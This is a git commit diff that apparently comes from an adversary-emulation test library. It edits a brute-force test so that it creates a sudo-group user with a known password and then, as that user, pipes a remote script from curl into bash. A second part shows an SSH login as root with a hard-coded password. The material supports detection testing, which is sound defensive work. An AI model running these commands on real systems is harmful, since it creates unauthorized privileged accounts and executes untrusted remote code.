Fixing test T1110.001.yaml (#2931)
* Fixing test T1110.001.yaml * Update T1110.001.yaml --------- Co-authored-by: Hare Sudhan <code@0x6c.dev>
This commit is contained in:
committed by
GitHub
parent
fe78dc33a6
commit
44cd7ff8f1
@@ -185,9 +185,7 @@ atomic_tests:
|
||||
elevation_required: true
|
||||
command: |
|
||||
useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art
|
||||
su art
|
||||
cd /tmp
|
||||
curl -s #{remote_url} |bash
|
||||
su -c "cd /tmp; curl -s #{remote_url} | bash" art
|
||||
cleanup_command: |
|
||||
userdel -fr art
|
||||
|
||||
@@ -299,4 +297,4 @@ atomic_tests:
|
||||
#{plink_file} -ssh "#{vm_host}" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002
|
||||
}
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
elevation_required: false
|
||||
|
||||
Reference in New Issue
Block a user